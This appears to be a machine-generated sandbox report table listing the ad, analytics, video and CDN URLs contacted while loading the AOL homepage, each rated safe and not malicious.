https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZDhfNjg3MWY1ZTc1M2I3NDJhN2FkM2Q4MzNkZWYzNTA4NTYwYWI1MTM0NjI5NjY2ODVjNzEyMzhkODkzMjI2YWViZg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w	false	Avira URL Cloud: safe	unknown
https://id.rlcdn.com/709996.gif	false	Avira URL Cloud: safe	unknown
https://s.aolcdn.com/caas-assets-production/assets/v1/news.0860907304e595d6.js	false	Avira URL Cloud: safe	unknown
https://manifest.prod.boltdns.net/thumbnail/v1/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4751-97b3-5c0984f74840/thumbnail.webvtt?fastly_token=NjY0ZmQyYTRfOGRhNWUzZmU3OGNhODkwMWViMTFmZWZlZmM4MWI3ZDAzZmIyNThhMjIwYTQzNzM4ZDQ5YmNlNzkwY2RiYjIxMw%3D%3D	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/aaq/wf/wf-image-1.4.0.js	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-Regular.woff2	false	Avira URL Cloud: safe	unknown
https://s.aolcdn.com/caas-assets-production/assets/v1/utils.9111c432fb133fce.js	false	Avira URL Cloud: safe	unknown
https://sync.1rx.io/usersync2/pubmatic&gdpr=0&gdpr_consent=	false	URL Reputation: safe	unknown
https://match.adsrvr.org/track/cmb/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent=	false	Avira URL Cloud: safe	unknown
https://sync.srv.stackadapt.com/sync?nid=1&gdpr=0&gdpr_consent=	false	Avira URL Cloud: safe	unknown
https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=47&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503733957&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=49&ns_st_cn=1&ns_st_ev=play&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=25&ns_st_asq=25&ns_st_sq=25&ns_st_po=7097&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=2903&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=7097&ns_st_ipt=0&ns_st_iap=0&ns_st_iet=4&ns_st_iupc=0&ns_st_iupa=0&ns_st_ilpc=0&ns_st_ilpa=0&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=0&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=0&ns_st_ap=7097&ns_st_dap=0&ns_st_et=16823&ns_st_det=4&ns_st_upc=7097&ns_st_dupc=0&ns_st_upa=7097&ns_st_dupa=0&ns_st_lpc=7097&ns_st_dlpc=0&ns_st_lpa=7097&ns_st_dlpa=0&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=24&ns_st_pp=24&ns_st_pa=7097&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0	false	Avira URL Cloud: safe	unknown
https://ups.analytics.yahoo.com/ups/58739/cms?partner_id=BLKAI&orig=ono	false	URL Reputation: safe	unknown
https://3p-geo.yahoo.com/p?s=1197803361&t=5eAg99k8XRalJwP0,0.6440435407286695&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03window.blur%04A_prets%031716503711%04A_prems%03889%04_E%03dwell%04_ts%031716503711%04_ms%03893%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/rx/ev/builds/1.6.29/bcplayer.css	false	Avira URL Cloud: safe	unknown
https://pixel-eu.onaudience.com/?partner=270&smartmap=1&gdpr=0&gdpr_consent=&redirect=image2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTI4ODQmdGw9MTI5NjAw%26piggybackCookie%3D%25_rid%26gdpr%3D0%26gdpr_consent%3D%25_gdpr_consent	false	Avira URL Cloud: safe	unknown
https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=0&gdprConsent=	false		unknown
https://pbs.yahoo.com/setuid?bidder=zeta_global_ssp&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=ua-d3a5a567-89dd-33ed-be20-40cbb3087081	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/cv/apiv2/aolfp/images/app/AOL-logo-96x96.png	false	Avira URL Cloud: safe	unknown
https://metrics.brightcove.com/v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&media_type=video&ad_error=303&event=ad_error&video=6353510307112&video_name=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&reference_id=42b897a6-9771-3329-b351-69a701a77438&custom_fields=&video_data=&video_ads_supported=true&&video_duration=68&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w&time=1716503717095&seq=8	false	Avira URL Cloud: safe	unknown
https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=8369ae03-bf51-422b-a15c-33306b0e1dfe&gdpr=0&gdpr_consent=	false	Avira URL Cloud: safe	unknown
https://s.aolcdn.com/caas-assets-production/assets/v1/images/modules/footer/PlayStore_en.png	false	Avira URL Cloud: safe	unknown
https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FsdS0yOFTkQeyA8vtdrBetw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fastros_wbg.png&client=76f99bdb8f78cd44cc0b&signature=53f3ec69dc0981b98bf4f15eba4afc19210d6c1c	false	Avira URL Cloud: safe	unknown
https://s.aolcdn.com/caas-assets-production/assets/v1/images/modules/sports_scores/league_fallback.png	false	Avira URL Cloud: safe	unknown
https://edge-auth.api.brightcove.com/playback/v1/accounts/6415665815001/videos/6353515371112	false	Avira URL Cloud: safe	unknown
https://us-u.openx.net/w/1.0/sd?id=537072960&val=0randk1bxelfx	false	Avira URL Cloud: safe	unknown
https://s.aolcdn.com/caas-assets-production/assets/v1/finance_banner.4c2b64bc7666579b.js	false	Avira URL Cloud: safe	unknown
https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZGFfZmJkYTMxNmI0YTE5MjYxMzc5ZDYxMWUxMjQzNDdiN2NlOWE0YzI1Nzc3ZjQ0NDY2NzVjZWM0ZWQwNThkZDNhMg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w	false	Avira URL Cloud: safe	unknown
https://ce.lijit.com/merge?pid=76&3pid=43a0948a-4d7b-444c-a692-110902d06804&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1	false	Avira URL Cloud: safe	unknown
https://ups.analytics.yahoo.com/ups/58834/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN	false	Avira URL Cloud: safe	unknown
https://ib.adnxs.com/prebid/setuid?bidder=triplelift_native&gdpr=0&gdpr_consent=&uid=3476490108663385185440	false	Avira URL Cloud: safe	unknown
https://3p-udc.yahoo.com/v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=1197803361&yhlCT=2&yhlBTMS=1716503685233&yhlClientVer=3.56.0&yhlRnd=gLwYe9NlgbwIUYd9&yhlCompressed=3	false	Avira URL Cloud: safe	unknown
https://aax-eu.amazon-adsystem.com/s/ecm3?ex=rubiconprojectHMT&id=5RidXYCrRWyX3hVU66KEVw&gdpr=0	false	Avira URL Cloud: safe	unknown
https://tsdtocl.com/	false	URL Reputation: safe	unknown
https://s.aolcdn.com/caas-assets-production/assets/v1/special_event.0ca9668537635e40.js	false	Avira URL Cloud: safe	unknown
https://bidder.criteo.com/cdb?ptv=144&profileId=185&av=36&wv=8.37.0&cb=72424936861	false	Avira URL Cloud: safe	unknown
https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent=	false	URL Reputation: safe	unknown
https://sync.ipredictive.com/d/sync/cookie/generic?https://eb2.3lift.com/xuid?mid=3702&xuid=${ADELPHIC_CUID}&dongle=d54f&gdpr=0&gdpr_consent=	false	URL Reputation: safe	unknown
https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fd.AWj8FuN2V4xyoJwzDPGQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Foakland_a_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=1e4049ff055d73d3c2d44d2d8fbe52423c466b52	false	Avira URL Cloud: safe	unknown
https://s.aolcdn.com/images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-12%2F515ef980-3432-11eb-b5ef-2a7f8e085664&client=76f99bdb8f78cd44cc0b&signature=d35cb23bd2a7d15db2b9b7fbe5c674ff1e2112a3	false	Avira URL Cloud: safe	unknown
https://rtb.gumgum.com/usersync?b=pln&i=7WXU1ZUhF2Kx&ev=1&gpp_sid=$&gpp=$&us_privacy=${us_privacy}&pid=558355	false	Avira URL Cloud: safe	unknown
https://gum.criteo.com/syncframe?origin=publishertag&topUrl=www.aol.com&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1#{%22uid%22:{%22origin%22:0},%22lwid%22:{%22origin%22:0},%22bundle%22:{%22origin%22:0},%22optout%22:{%22value%22:false,%22origin%22:0},%22sid%22:{%22origin%22:0},%22tld%22:%22aol.com%22,%22topUrl%22:%22www.aol.com%22,%22version%22:144,%22cw%22:true,%22lsw%22:true,%22origin%22:%22publishertag%22,%22requestId%22:%220.39377057998366305%22}	false		unknown
https://consent.cmp.oath.com/version/6.4.1/cmp.js	false	Avira URL Cloud: safe	unknown
https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/modules/module-chatbot-gpt-chat_icon.svg	false	Avira URL Cloud: safe	unknown
https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=48&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503733967&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=50&ns_st_cn=1&ns_st_ev=pause&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=25&ns_st_asq=25&ns_st_sq=25&ns_st_po=7107&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=-1&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=7107&ns_st_ipt=10&ns_st_iap=10&ns_st_iet=10&ns_st_iupc=10&ns_st_iupa=10&ns_st_ilpc=10&ns_st_ilpa=10&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=1&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=10&ns_st_ap=7107&ns_st_dap=10&ns_st_et=16833&ns_st_det=10&ns_st_upc=7107&ns_st_dupc=10&ns_st_upa=7107&ns_st_dupa=10&ns_st_lpc=7107&ns_st_dlpc=10&ns_st_lpa=7107&ns_st_dlpa=10&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=25&ns_st_pp=25&ns_st_pa=7107&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0	false	Avira URL Cloud: safe	unknown
https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/modules/en-bundle-offer-templates.js	false	Avira URL Cloud: safe	unknown
https://ib.adnxs.com/getuid?https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dappnexus%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID	false	Avira URL Cloud: safe	unknown
https://ncp-gw-video.media.yahoo.com/api/v2/gql/stream_view?version=v1&namespace=video&id=curated-videos&device=desktop&site=aolhomepage&region=US&lang=en-US&bucketId=aol-acookie-control%2Caol-aa-1&dedup=true&imageSizes=260x144&snippetCount=12&count=120&listAlias=ymedia-alias%3Aplaylist%3Daolcom-homepage	false	Avira URL Cloud: safe	unknown
https://s.aolcdn.com/caas-assets-production/assets/v1/taboola.d258f55a4ca48b0c.js	false	Avira URL Cloud: safe	unknown
https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzOTkmdGw9NDMyMDA%3D&piggybackCookie=7372327276449101969&gdpr=0&gdpr_consent=	false		unknown
https://s.yimg.com/rx/ev/builds/1.6.29/evplayer.css	false	Avira URL Cloud: safe	unknown
https://ce.lijit.com/merge?pid=106&3pid=8330378466080050028&gdpr=0&gdpr_consent=	false	Avira URL Cloud: safe	unknown
https://ssp.disqus.com/match?bidder=18&buyeruid=3e69915a-aa81-453c-8be6-621af7150f41&r=Cid1YS1kM2E1YTU2Ny04OWRkLTMzZWQtYmUyMC00MGNiYjMwODcwODEiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLWQzYTVhNTY3LTg5ZGQtMzNlZC1iZTIwLTQwY2JiMzA4NzA4MTICEik4AQ==	false	Avira URL Cloud: safe	unknown
https://3p-geo.yahoo.com/p?s=1197803361&t=P2OLh1udjKSXZulj,0.17629055197317145&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03window.blur%04A_prets%031716503699%04A_prems%03217%04_E%03dwell%04_ts%031716503703%04_ms%03920%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031	false	Avira URL Cloud: safe	unknown
https://3p-geo.yahoo.com/p?s=1197803361&t=bffCFzsY8w4IcNmR,0.39347121961417875&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04A_utm%03%7B%22vp_fetch_duration%22%3A10093.399999999994%2C%22vp_fetch_end_time%22%3A19045.699999999983%2C%22vp_fetch_start%22%3A8952.299999999988%7D%04etrg%03backgroundPost%04outcm%03performance%04usergenf%030%04etag%03performance%04_E%03pageperf%04_ts%031716503687%04_ms%03749%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031	false	Avira URL Cloud: safe	unknown
https://display.bidder.taboola.com/OpenRTB/TaboolaHB/auction?publisher=1635762	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/cv/apiv2/aolfp/fonts/opensans/Open_Sans-Medium.woff2	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/cv/apiv2/aolfp/images/weather/small/27-mostly-cloudy-night.svg	false	Avira URL Cloud: safe	unknown
https://manifest.prod.boltdns.net/manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/8b2017e3-8e45-48ae-a820-feeb718d77f3/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfMTc1NzY4OWQ2ZWJiNGQzMzVhNzEzNzZjNDcyNjZhZGU1MWFiYjdkZDRkMGVmYjdlMTk0MzJmNmFjYTM3YWI0Ng%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w	false	Avira URL Cloud: safe	unknown
https://edge-auth.api.brightcove.com/playback/v1/accounts/6415665815001/videos/6353460326112	false	Avira URL Cloud: safe	unknown
https://usersync.gumgum.com/usersync?b=dit&i=di_11fba54761394fc5986e8	false	Avira URL Cloud: safe	unknown
https://api.taboola.com/1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8	false	Avira URL Cloud: safe	unknown
https://s.aolcdn.com/caas-assets-production/assets/v1/weather.3d67f0f30b8148ec.js	false	Avira URL Cloud: safe	unknown
https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=133799&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://f.creativecdn.com	chromecache_439.2.dr	false	Avira URL Cloud: safe	unknown
https://bats.video.yahoo.com/p?evt=ad_init&_E=ad_init&_V=V&V_sec=pb&_w=https%3A%2F%2Fwww.aol.com%2F&	chromecache_250.2.dr	false	Avira URL Cloud: safe	unknown
https://oidc.help.aol.com/login?dest=	chromecache_311.2.dr	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-Light.woff)	chromecache_344.2.dr	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/cv/apiv2/aolfp/fonts/opensans/Open_Sans-Italic.woff)	chromecache_344.2.dr	false	Avira URL Cloud: safe	unknown
https://support.office.com/en-us/article/Add-an-email-account-to-Outlook-6e27792a-9267-4aa4-8bb6-c84	chromecache_811.2.dr, chromecache_409.2.dr	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-Regular.woff)	chromecache_344.2.dr	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-Thin.woff2)	chromecache_344.2.dr	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/uu/api/res/1.2/Q4KtNtHR5HNdJzKncunUmg--~B/aD01NDA7dz05NjA7YXBwaWQ9eXRhY2h5b24-/ht	chromecache_785.2.dr, chromecache_766.2.dr	false	Avira URL Cloud: safe	unknown
